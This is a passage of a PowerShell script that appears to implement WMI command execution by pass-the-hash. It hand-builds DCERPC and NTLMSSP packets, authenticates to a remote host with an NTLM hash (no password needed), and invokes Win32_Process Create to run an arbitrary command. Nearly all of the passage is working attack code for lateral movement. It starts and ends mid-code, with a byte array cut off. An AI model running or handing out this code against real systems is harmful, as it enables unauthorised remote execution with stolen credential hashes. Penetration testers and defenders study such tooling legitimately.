$target_index = $WMI_message.IndexOf($target_search) if($target_index -gt 0) { break } } } if($target_long -cne $target_short) { Write-Verbose "[*] Using $target_short for random port extraction" } if($target_index -gt 0) { $target_bytes_index = $target_index / 2 $WMI_random_port = $WMI_client_receive[($target_bytes_index + $target_unicode.Length)..($target_bytes_index + $target_unicode.Length + 8)] $WMI_random_port = [System.BitConverter]::ToString($WMI_random_port) $WMI_random_port_end_index = $WMI_random_port.IndexOf("-5D") if($WMI_random_port_end_index -gt 0) { $WMI_random_port = $WMI_random_port.SubString(0,$WMI_random_port_end_index) } $WMI_random_port = $WMI_random_port -replace "-00","" $WMI_random_port = $WMI_random_port.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} [Int]$WMI_random_port_int = -join $WMI_random_port $MEOW = [System.BitConverter]::ToString($WMI_client_receive) $MEOW = $MEOW -replace "-","" $MEOW_index = $MEOW.IndexOf("4D454F570100000018AD09F36AD8D011A07500C04FB68820") $MEOW_bytes_index = $MEOW_index / 2 $OXID = $WMI_client_receive[($MEOW_bytes_index + 32)..($MEOW_bytes_index + 39)] $IPID = $WMI_client_receive[($MEOW_bytes_index + 48)..($MEOW_bytes_index + 63)] $OXID = [System.BitConverter]::ToString($OXID) $OXID = $OXID -replace "-","" $OXID_index = $MEOW.IndexOf($OXID,$MEOW_index + 100) $OXID_bytes_index = $OXID_index / 2 $object_UUID = $WMI_client_receive[($OXID_bytes_index + 12)..($OXID_bytes_index + 27)] $WMI_client_random_port = New-Object System.Net.Sockets.TCPClient $WMI_client_random_port.Client.ReceiveTimeout = 30000 } if($WMI_random_port) { Write-Verbose "[*] Connecting to $target_long`:$WMI_random_port_int" try { $WMI_client_random_port.Connect($target_long,$WMI_random_port_int) } catch { Write-Output "[-] $target_long`:$WMI_random_port_int did not respond" } } else { Write-Output "[-] Random port extraction failure" } } else { Write-Output "[-] Something went wrong" } if($WMI_client_random_port.Connected) { $WMI_client_random_port_stream = $WMI_client_random_port.GetStream() $packet_RPC = New-PacketRPCBind 2 0xd0,0x16 0x03 0x00,0x00 0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 0x00,0x00 $packet_RPC["FragLength"] = 0xd0,0x00 $packet_RPC["AuthLength"] = 0x28,0x00 $packet_RPC["AuthLevel"] = 0x04 $packet_RPC["NegotiateFlags"] = 0x97,0x82,0x08,0xa2 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_random_port_stream.Flush() $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null $assoc_group = $WMI_client_receive[20..23] $WMI_NTLMSSP = [System.BitConverter]::ToString($WMI_client_receive) $WMI_NTLMSSP = $WMI_NTLMSSP -replace "-","" $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf("4E544C4D53535000") $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2 $WMI_domain_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive $WMI_target_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive $WMI_session_ID = $WMI_client_receive[44..51] $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)] $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)] $WMI_target_time_bytes = $WMI_target_details[($WMI_target_details.Length - 12)..($WMI_target_details.Length - 5)] $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $auth_hostname = (Get-ChildItem -path env:computername).Value $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) $auth_domain = $Domain $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain) $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] $auth_domain_offset = 0x40,0x00,0x00,0x00 $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 $HMAC_MD5.key = $NTLM_hash_bytes $username_and_target = $username.ToUpper() $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) $username_and_target_bytes += $auth_domain_bytes $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $security_blob_bytes = 0x01,0x01,0x00,0x00, 0x00,0x00,0x00,0x00 + $WMI_target_time_bytes + $client_challenge_bytes + 0x00,0x00,0x00,0x00 + $WMI_target_details + 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00 $server_challenge_and_security_blob_bytes = $WMI_NTLM_challenge + $security_blob_bytes $HMAC_MD5.key = $NTLMv2_hash $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) $client_signing_constant = 0x73,0x65,0x73,0x73,0x69,0x6f,0x6e,0x20,0x6b,0x65,0x79,0x20,0x74,0x6f,0x20, 0x63,0x6c,0x69,0x65,0x6e,0x74,0x2d,0x74,0x6f,0x2d,0x73,0x65,0x72,0x76, 0x65,0x72,0x20,0x73,0x69,0x67,0x6e,0x69,0x6e,0x67,0x20,0x6b,0x65,0x79, 0x20,0x6d,0x61,0x67,0x69,0x63,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e, 0x74,0x00 $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $client_signing_key = $MD5.ComputeHash($session_base_key + $client_signing_constant) $NTLMv2_response = $NTLMv2_response + $security_blob_bytes $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) $WMI_session_key_length = 0x00,0x00 $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2 $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, 0x03,0x00,0x00,0x00, 0x18,0x00, 0x18,0x00 + $auth_LM_offset + $NTLMv2_response_length + $NTLMv2_response_length + $auth_NTLM_offset + $auth_domain_length + $auth_domain_length + $auth_domain_offset + $auth_username_length + $auth_username_length + $auth_username_offset + $auth_hostname_length + $auth_hostname_length + $auth_hostname_offset + $WMI_session_key_length + $WMI_session_key_length + $WMI_session_key_offset + $WMI_negotiate_flags + $auth_domain_bytes + $auth_username_bytes + $auth_hostname_bytes + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $NTLMv2_response $HMAC_MD5.key = $client_signing_key [Byte[]]$sequence_number = 0x00,0x00,0x00,0x00 $packet_RPC = New-PacketRPCAUTH3 $NTLMSSP_response $packet_RPC["CallID"] = 0x02,0x00,0x00,0x00 $packet_RPC["AuthLevel"] = 0x04 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_random_port_stream.Flush() $packet_RPC = New-PacketRPCRequest 0x83 76 16 4 0x02,0x00,0x00,0x00 0x00,0x00 0x03,0x00 $object_UUID $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87 $packet_NTLMSSP_verifier = New-PacketNTLMSSPVerifier 4 0x04 $sequence_number $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $rem_query_interface = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier $HMAC_MD5.key = $client_signing_key $RPC_signature = $HMAC_MD5.ComputeHash($sequence_number + $RPC + $rem_query_interface + $NTLMSSP_verifier[0..11]) $RPC_signature = $RPC_signature[0..7] $packet_NTLMSSP_verifier["NTLMSSPVerifierChecksum"] = $RPC_signature $NTLMSSP_verifier = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_verifier $WMI_client_send = $RPC + $rem_query_interface + $NTLMSSP_verifier $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_random_port_stream.Flush() $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null $WMI_client_stage = 'Exit' if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00') { Write-Output "[-] $output_username WMI access denied on $target_long" } elseif($WMI_client_receive[2] -eq 3) { $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24]) $error_code = $error_code -replace "-","" Write-Output "[-] Failed with error code 0x$error_code" } elseif($WMI_client_receive[2] -eq 2) { $WMI_data = [System.BitConverter]::ToString($WMI_client_receive) $WMI_data = $WMI_data -replace "-","" $OXID_index = $WMI_data.IndexOf($OXID) $OXID_bytes_index = $OXID_index / 2 $object_UUID2 = $WMI_client_receive[($OXID_bytes_index + 16)..($OXID_bytes_index + 31)] $WMI_client_stage = 'AlterContext' } else { Write-Output "[-] Something went wrong" } Write-Verbose "[*] Attempting command execution" $request_split_index = 5500 :WMI_execute_loop while ($WMI_client_stage -ne 'Exit') { if($WMI_client_receive[2] -eq 3) { $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24]) $error_code = $error_code -replace "-","" Write-Output "[-] Failed with error code 0x$error_code" $WMI_client_stage = 'Exit' } switch ($WMI_client_stage) { 'AlterContext' { switch ($sequence_number[0]) { 0 { $alter_context_call_ID = 0x03,0x00,0x00,0x00 $alter_context_context_ID = 0x02,0x00 $alter_context_UUID = 0xd6,0x1c,0x78,0xd4,0xd3,0xe5,0xdf,0x44,0xad,0x94,0x93,0x0e,0xfe,0x48,0xa8,0x87 $WMI_client_stage_next = 'Request' } 1 { $alter_context_call_ID = 0x04,0x00,0x00,0x00 $alter_context_context_ID = 0x03,0x00 $alter_context_UUID = 0x18,0xad,0x09,0xf3,0x6a,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20 $WMI_client_stage_next = 'Request' } 6 { $alter_context_call_ID = 0x09,0x00,0x00,0x00 $alter_context_context_ID = 0x04,0x00 $alter_context_UUID = 0x99,0xdc,0x56,0x95,0x8c,0x82,0xcf,0x11,0xa3,0x7e,0x00,0xaa,0x00,0x32,0x40,0xc7 $WMI_client_stage_next = 'Request' } } $packet_RPC = New-PacketRPCAlterContext $assoc_group $alter_context_call_ID $alter_context_context_ID $alter_context_UUID $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_random_port_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_random_port_stream.Flush() $WMI_client_random_port_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null $WMI_client_stage = $WMI_client_stage_next } 'Request' { $request_split = $false switch ($sequence_number[0]) { 0 { $sequence_number = 0x01,0x00,0x00,0x00 $request_flags = 0x83 $request_auth_padding = 12 $request_call_ID = 0x03,0x00,0x00,0x00 $request_context_ID = 0x02,0x00 $request_opnum = 0x03,0x00 $request_UUID = $object_UUID2 $hostname_length = [System.BitConverter]::GetBytes($auth_hostname.Length + 1) $WMI_client_stage_next = 'AlterContext' if([Bool]($auth_hostname.Length % 2)) { $auth_hostname_bytes += 0x00,0x00 } else { $auth_hostname_bytes += 0x00,0x00,0x00,0x00 } $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $causality_ID_bytes + 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 + $hostname_length + 0x00,0x00,0x00,0x00 + $hostname_length + $auth_hostname_bytes + $process_ID_bytes + 0x00,0x00,0x00,0x00,0x00,0x00 } 1 { $sequence_number = 0x02,0x00,0x00,0x00 $request_flags = 0x83 $request_auth_padding = 8 $request_call_ID = 0x04,0x00,0x00,0x00 $request_context_ID = 0x03,0x00 $request_opnum = 0x03,0x00 $request_UUID = $IPID $WMI_client_stage_next = 'Request' $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $causality_ID_bytes + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 } 2 { $sequence_number = 0x03,0x00,0x00,0x00 $request_flags = 0x83 $request_auth_padding = 0 $request_call_ID = 0x05,0x00,0x00,0x00 $request_context_ID = 0x03,0x00 $request_opnum = 0x06,0x00 $request_UUID = $IPID [Byte[]]$WMI_namespace_length = [System.BitConverter]::GetBytes($target_short.Length + 14) [Byte[]]$WMI_namespace_unicode = [System.Text.Encoding]::Unicode.GetBytes("\\$target_short\root\cimv2") $WMI_client_stage_next = 'Request' if([Bool]($target_short.Length % 2)) { $WMI_namespace_unicode += 0x00,0x00,0x00,0x00 } else { $WMI_namespace_unicode += 0x00,0x00 } $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $causality_ID_bytes + 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 + $WMI_namespace_length + 0x00,0x00,0x00,0x00 + $WMI_namespace_length + $WMI_namespace_unicode + 0x04,0x00,0x02,0x00,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x09, 0x00,0x00,0x00,0x65,0x00,0x6e,0x00,0x2d,0x00,0x55,0x00,0x53,0x00, 0x2c,0x00,0x65,0x00,0x6e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00 } 3 { $sequence_number = 0x04,0x00,0x00,0x00 $request_flags = 0x83 $request_auth_padding = 8 $request_call_ID = 0x06,0x00,0x00,0x00 $request_context_ID = 0x00,0x00 $request_opnum = 0x05,0x00 $request_UUID = $object_UUID $WMI_client_stage_next = 'Request' $WMI_data = [System.BitConverter]::ToString($WMI_client_receive) $WMI_data = $WMI_data -replace "-","" $OXID_index = $WMI_data.IndexOf($OXID) $OXID_bytes_index = $OXID_index / 2 $IPID2 = $WMI_client_receive[($OXID_bytes_index + 16)..($OXID_bytes_index + 31)] $packet_rem_release = New-PacketDCOMRemRelease $causality_ID_bytes $object_UUID2 $IPID $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_release } 4 { $sequence_number = 0x05,0x00,0x00,0x00 $request_flags = 0x83 $request_auth_padding = 4 $request_call_ID = 0x07,0x00,0x00,0x00 $request_context_ID = 0x00,0x00 $request_opnum = 0x03,0x00 $request_UUID = $object_UUID $WMI_client_stage_next = 'Request' $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x9e,0xc1,0xfc,0xc3,0x70,0xa9,0xd2,0x11,0x8b,0x5a,0x00,0xa0,0xc9,0xb7,0xc9,0xc4 $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface } 5 { $sequence_number = 0x06,0x00,0x00,0x00 $request_flags = 0x83 $request_auth_padding = 4 $request_call_ID = 0x08,0x00,0x00,0x00 $request_context_ID = 0x00,0x00 $request_opnum = 0x03,0x00 $request_UUID = $object_UUID $WMI_client_stage_next = 'AlterContext' $packet_rem_query_interface = New-PacketDCOMRemQueryInterface $causality_ID_bytes $IPID2 0x83,0xb2,0x96,0xb1,0xb4,0xba,0x1a,0x10,0xb6,0x9c,0x00,0xaa,0x00,0x34,0x1d,0x07 $stub_data = ConvertFrom-PacketOrderedDictionary $packet_rem_query_interface } 6 { $sequence_number = 0x07,0x00,0x00,0x00 $request_flags = 0x83 $request_auth_padding = 0 $request_call_ID = 0x09,0x00,0x00,0x00 $request_context_ID = 0x04,0x00 $request_opnum = 0x06,0x00 $request_UUID = $IPID2 $WMI_client_stage_next = 'Request' $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $causality_ID_bytes + 0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a, 0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00, 0x33,0x00,0x32,0x00,0x5f,0x00,0x70,0x00,0x72,0x00,0x6f,0x00,0x63, 0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00 } 7 { $sequence_number = 0x08,0x00,0x00,0x00 $request_flags = 0x83 $request_auth_padding = 0 $request_call_ID = 0x10,0x00,0x00,0x00 $request_context_ID = 0x04,0x00 $request_opnum = 0x06,0x00 $request_UUID = $IPID2 $WMI_client_stage_next = 'Request' $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $causality_ID_bytes + 0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a, 0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00, 0x33,0x00,0x32,0x00,0x5f,0x00,0x70,0x00,0x72,0x00,0x6f,0x00,0x63, 0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00 } {$_ -ge 8} { $sequence_number = 0x09,0x00,0x00,0x00 $request_auth_padding = 0 $request_call_ID = 0x0b,0x00,0x00,0x00 $request_context_ID = 0x04,0x00 $request_opnum = 0x18,0x00 $request_UUID = $IPID2 [Byte[]]$stub_length = [System.BitConverter]::GetBytes($Command.Length + 1769)[0,1] [Byte[]]$stub_length2 = [System.BitConverter]::GetBytes($Command.Length + 1727)[0,1] [Byte[]]$stub_length3 = [System.BitConverter]::GetBytes($Command.Length + 1713)[0,1] [Byte[]]$command_length = [System.BitConverter]::GetBytes($Command.Length + 93)[0,1] [Byte[]]$command_length2 = [System.BitConverter]::GetBytes($Command.Length + 16)[0,1] [Byte[]]$command_bytes = [System.Text.Encoding]::UTF8.GetBytes($Command) # thanks to @vysec for finding a bug with certain command lengths [String]$command_padding_check = $Command.Length / 4 if($command_padding_check -like "*.75") { $command_bytes += 0x00 } elseif($command_padding_check -like "*.5") { $command_bytes += 0x00,0x00 } elseif($command_padding_check -like "*.25") { $command_bytes += 0x00,0x00,0x00 } else { $command_bytes += 0x00,0x00,0x00,0x00 } $stub_data = 0x05,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $causality_ID_bytes + 0x00,0x00,0x00,0x00,0x55,0x73,0x65,0x72,0x0d,0x00,0x00,0x00,0x1a, 0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x57,0x00,0x69,0x00,0x6e,0x00, 0x33,0x00,0x32,0x00,0x5f,0x00,0x50,0x00,0x72,0x00,0x6f,0x00,0x63, 0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x00,0x00,0x55,0x73,0x65,0x72, 0x06,0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x63, 0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x74,0x00,0x65,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00 + $stub_length + 0x00,0x00 + $stub_length + 0x00,0x00,0x4d,0x45,0x4f,0x57,0x04,0x00,0x00,0x00,0x81,0xa6,0x12, 0xdc,0x7f,0x73,0xcf,0x11,0x88,0x4d,0x00,0xaa,0x00,0x4b,0x2e,0x24, 0x12,0xf8,0x90,0x45,0x3a,0x1d,0xd0,0x11,0x89,0x1f,0x00,0xaa,0x00, 0x4b,0x2e,0x24,0x00,0x00,0x00,0x00 + $stub_length2 + 0x00,0x00,0x78,0x56,0x34,0x12 + $stub_length3 + 0x00,0x00,0x02,0x53, 0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0d,0x00,0x00,0x00,0x04, 0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x0e,0x00,0x00,0x00,0x00,0x0b, 0x00,0x00,0x00,0xff,0xff,0x03,0x00,0x00,0x00,0x2a,0x00,0x00,0x00, 0x15,0x01,0x00,0x00,0x73,0x01,0x00,0x00,0x76,0x02,0x00,0x00,0xd4, 0x02,0x00,0x00,0xb1,0x03,0x00,0x00,0x15,0xff,0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x12,0x04,0x00,0x80,0x00,0x5f, 0x5f,0x50,0x41,0x52,0x41,0x4d,0x45,0x54,0x45,0x52,0x53,0x00,0x00, 0x61,0x62,0x73,0x74,0x72,0x61,0x63,0x74,0x00,0x08,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00, 0x00,0x00,0x43,0x6f,0x6d,0x6d,0x61,0x6e,0x64,0x4c,0x69,0x6e,0x65, 0x00,0x00,0x73,0x74,0x72,0x69,0x6e,0x67,0x00,0x08,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00, 0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00, 0x00,0x00,0x49,0x6e,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x1c,0x00,0x00,0x00,0x0a,0x00,0x00, 0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,0x00,0x5e,0x00,0x00, 0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,0x01,0x00,0x00,0x00,0x94, 0x00,0x00,0x00,0x00,0x57,0x69,0x6e,0x33,0x32,0x41,0x50,0x49,0x7c, 0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x20,0x61,0x6e,0x64,0x20,0x54, 0x68,0x72,0x65,0x61,0x64,0x20,0x46,0x75,0x6e,0x63,0x74,0x69,0x6f, 0x6e,0x73,0x7c,0x6c,0x70,0x43,0x6f,0x6d,0x6d,0x61,0x6e,0x64,0x4c, 0x69,0x6e,0x65,0x20,0x00,0x00,0x4d,0x61,0x70,0x70,0x69,0x6e,0x67, 0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,0x08,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x29,0x00,0x00,0x00, 0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x37,0x00,0x00,0x00, 0x5e,0x00,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff,0xca,0x00, 0x00,0x00,0x02,0x08,0x20,0x00,0x00,0x8c,0x00,0x00,0x00,0x00,0x49, 0x44,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08, 0x00,0x00,0x00,0x59,0x01,0x00,0x00,0x5e,0x00,0x00,0x00,0x00,0x0b, 0x00,0x00,0x00,0xff,0xff,0xca,0x00,0x00,0x00,0x02,0x08,0x20,0x00, 0x00,0x8c,0x00,0x00,0x00,0x11,0x01,0x00,0x00,0x11,0x03,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x73,0x74,0x72,0x69,0x6e,0x67,0x00, 0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x04,0x00,0x00,0x00,0x00,0x43,0x75,0x72,0x72,0x65,0x6e,0x74, 0x44,0x69,0x72,0x65,0x63,0x74,0x6f,0x72,0x79,0x00,0x00,0x73,0x74, 0x72,0x69,0x6e,0x67,0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x0a,0x00,0x00, 0x80,0x03,0x08,0x00,0x00,0x00,0x85,0x01,0x00,0x00,0x00,0x49,0x6e, 0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00, 0x00,0x00,0x85,0x01,0x00,0x00,0xac,0x01,0x00,0x00,0x02,0x0b,0x00, 0x00,0x00,0xff,0xff,0x01,0x00,0x00,0x00,0xe2,0x01,0x00,0x00,0x00, 0x57,0x69,0x6e,0x33,0x32,0x41,0x50,0x49,0x7c,0x50,0x72,0x6f,0x63, 0x65,0x73,0x73,0x20,0x61,0x6e,0x64,0x20,0x54,0x68,0x72,0x65,0x61, 0x64,0x20,0x46,0x75,0x6e,0x63,0x74,0x69,0x6f,0x6e,0x73,0x7c,0x43, 0x72,0x65,0x61,0x74,0x65,0x50,0x72,0x6f,0x63,0x65,0x73,0x73,0x7c, 0x6c,0x70,0x43,0x75,0x72,0x72,0x65,0x6e,0x74,0x44,0x69,0x72,0x65, 0x63,0x74,0x6f,0x72,0x79,0x20,0x00,0x00,0x4d,0x61,0x70,0x70,0x69, 0x6e,0x67,0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00,0x08,0x00,0x00, 0x00,0x01,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x29,0x00, 0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00,0x85,0x01, 0x00,0x00,0xac,0x01,0x00,0x00,0x02,0x0b,0x00,0x00,0x00,0xff,0xff, 0x2b,0x02,0x00,0x00,0x02,0x08,0x20,0x00,0x00,0xda,0x01,0x00,0x00, 0x00,0x49,0x44,0x00,0x08,0x00,0x00,0x00,0x01,0x00,0x04,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x36,0x00,0x00,0x00,0x0a,0x00,0x00,0x80, 0x03,0x08,0x00,0x00,0x00,0xba,0x02,0x00,0x00,0xac,0x01,0x00,0x00, 0x00,0x0b,0x00,0x00,0x00,0xff,0xff,0x2b,0x02,0x00,0x00,0x02,0x08, 0x20,0x00,0x00,0xda,0x01,0x00,0x00,0x72,0x02,0x00,0x00,0x11,0x03, 0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x73,0x74,0x72,0x69,0x6e, 0x67,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x50,0x72,0x6f,0x63,0x65, 0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70,0x49,0x6e,0x66,0x6f, 0x72,0x6d,0x61,0x74,0x69,0x6f,0x6e,0x00,0x00,0x6f,0x62,0x6a,0x65, 0x63,0x74,0x00,0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03, 0x08,0x00,0x00,0x00,0xef,0x02,0x00,0x00,0x00,0x49,0x6e,0x00,0x0d, 0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x1c,0x00,0x00,0x00,0x0a,0x00,0x00,0x80,0x03,0x08,0x00,0x00,0x00, 0xef,0x02,0x00,0x00,0x16,0x03,0x00,0x00,0x02,0x0b,0x00,0x00,0x00, 0xff,0xff,0x01,0x00,0x00,0x00,0x4c,0x03,0x00,0x00,0x00,0x57,0x4d, 0x49,0x7c,0x57,0x69,0x6e,0x33,0x32,0x5f,0x50,0x72,0x6f,0x63,0x65, 0x73,0x73,0x53,0x74,0x61,0x72,0x74,0x75,0x70,0x00,0x00,0x4d,0x61, 0x70,0x70,0x69,0x6e,0x67,0x53,0x74,0x72,0x69,0x6e,0x67,0x73,0x00, 0x0d,0x00,0x00,0x00,0x02,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00, 